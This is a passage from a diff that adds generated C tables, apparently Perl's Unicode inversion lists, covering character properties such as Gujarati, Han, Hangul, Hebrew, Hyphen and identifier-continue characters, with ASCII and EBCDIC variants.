+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200D,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFF9E,
+	0xFFA0,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x1133F,
+	0x11340,
+	0x11341,
+	0x11357,
+	0x11358,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B0,
+	0x114B1,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115AF,
+	0x115B0,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D166,
+	0x1D167,
+	0x1D16A,
+	0x1D16E,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+static const UV PL_GUJR_invlist[] = { /* for all charsets */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xA830,
+	0xA83A
+};
+
+static const UV PL_GURU_invlist[] = { /* for all charsets */
+	39,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA830,
+	0xA83A
+};
+
+static const UV PL_HALFANDFULLFORMS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFF00,
+	0xFFF0
+};
+
+static const UV PL_HALFMARKS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFE20,
+	0xFE30
+};
+
+static const UV PL_HAN_invlist[] = { /* for all charsets */
+	65,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3001,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x3021,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3037,
+	0x3040,
+	0x30FB,
+	0x30FC,
+	0x3190,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3220,
+	0x3248,
+	0x3280,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x3358,
+	0x3371,
+	0x337B,
+	0x3380,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFE45,
+	0xFE47,
+	0xFF61,
+	0xFF66,
+	0x1D360,
+	0x1D372,
+	0x1F250,
+	0x1F252,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+static const UV PL_HANG_invlist[] = { /* for all charsets */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1100,
+	0x1200,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x302E,
+	0x3031,
+	0x3037,
+	0x3038,
+	0x30FB,
+	0x30FC,
+	0x3131,
+	0x318F,
+	0x3200,
+	0x321F,
+	0x3260,
+	0x327F,
+	0xA960,
+	0xA97D,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xFE45,
+	0xFE47,
+	0xFF61,
+	0xFF66,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD
+};
+
+static const UV PL_HANO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1720,
+	0x1737
+};
+
+static const UV PL_HATR_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x10900
+};
+
+static const UV PL_HEBR_invlist[] = { /* for all charsets */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB50
+};
+
+static const UV PL_HIGHPUSURROGATES_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDB80,
+	0xDC00
+};
+
+static const UV PL_HIGHSURROGATES_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD800,
+	0xDB80
+};
+
+static const UV PL_HIRA_invlist[] = { /* for all charsets */
+	31,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x3030,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303C,
+	0x303E,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x30A1,
+	0x30FB,
+	0x30FD,
+	0xFE45,
+	0xFE47,
+	0xFF61,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0x1B001,
+	0x1B11F,
+	0x1F200,
+	0x1F201
+};
+
+static const UV PL_HLUW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x14400,
+	0x14647
+};
+
+static const UV PL_HMNG_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90
+};
+
+static const UV PL_HST__NA_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1100,
+	0x1200,
+	0xA960,
+	0xA97D,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC
+};
+
+static const UV PL_HUNG_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_HYPHEN_invlist[] = { /* for ASCII/Latin1 */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D,
+	0x2E,
+	0xAD,
+	0xAE,
+	0x58A,
+	0x58B,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2012,
+	0x2E17,
+	0x2E18,
+	0x30FB,
+	0x30FC,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E,
+	0xFF65,
+	0xFF66
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_HYPHEN_invlist[] = { /* for EBCDIC 1047 */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0xCA,
+	0xCB,
+	0x58A,
+	0x58B,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2012,
+	0x2E17,
+	0x2E18,
+	0x30FB,
+	0x30FC,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E,
+	0xFF65,
+	0xFF66
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_HYPHEN_invlist[] = { /* for EBCDIC 037 */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0xCA,
+	0xCB,
+	0x58A,
+	0x58B,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2012,
+	0x2E17,
+	0x2E18,
+	0x30FB,
+	0x30FC,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E,
+	0xFF65,
+	0xFF66
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_IDC_invlist[] = { /* for ASCII/Latin1 */
+	1379,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
+	0x5F,
+	0x60,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xB7,
+	0xB8,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x488,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x840,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104A,
+	0x1050,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1369,
+	0x1372,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180E,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1AB0,
+	0x1ABE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA62C,
+	0xA640,
+	0xA670,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA930,
